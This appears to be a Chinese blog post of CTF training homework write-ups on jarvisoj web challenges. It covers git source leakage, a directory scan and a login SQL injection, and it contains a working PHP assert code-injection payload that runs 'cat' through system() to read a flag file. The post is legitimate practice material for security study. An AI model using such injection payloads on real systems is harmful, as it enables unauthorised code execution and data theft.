0%

CTF特训营(周末作业)

前言

周未还有作业。。累呀

作业一

分析

作业
提示的很明显,通过githack获取源代码。

githack http://web.jarvisoj.com:32798/.git

拿到源代码后查看index.php发现关键代码

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

很特别的用法。直接用assert来拼接字符串。
那么我只要闭合一下这个字符串然后根据assert的特性构造一个payload即可

构造payload

1
?page='.var_dump(system("cat templates/flag.php")).'

拿到flag

作业
61dctf{8e_careful_when_us1ng_ass4rt}

作业二

分析

作业
啥也没有,就显示了一个这个。
还是考虑源码泄露吧。
扫描一下网站看看都有什么

dirsearch -u http://web.jarvisoj.com:32792/ -e *

作业
看到有个robots.txt文件。
访问这个文件。发现有个admin_s3cr3t.php。

拿到flag?

作业
flag{hello guest}
这个就是flag吗?

作业三

分析

作业
一个登录页面,试试万能密码吧。
作业
经过测试发现,用户名存在注入漏洞而密码不存在。

盲注

写一个盲注脚本来爆破密码。
作业
跑出md5密码。爆破出明文。

密码:eTAloCrEP

拿到flag

作业
flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

作业四

分析

坚持原创技术分享,您的支持将鼓励我继续创作!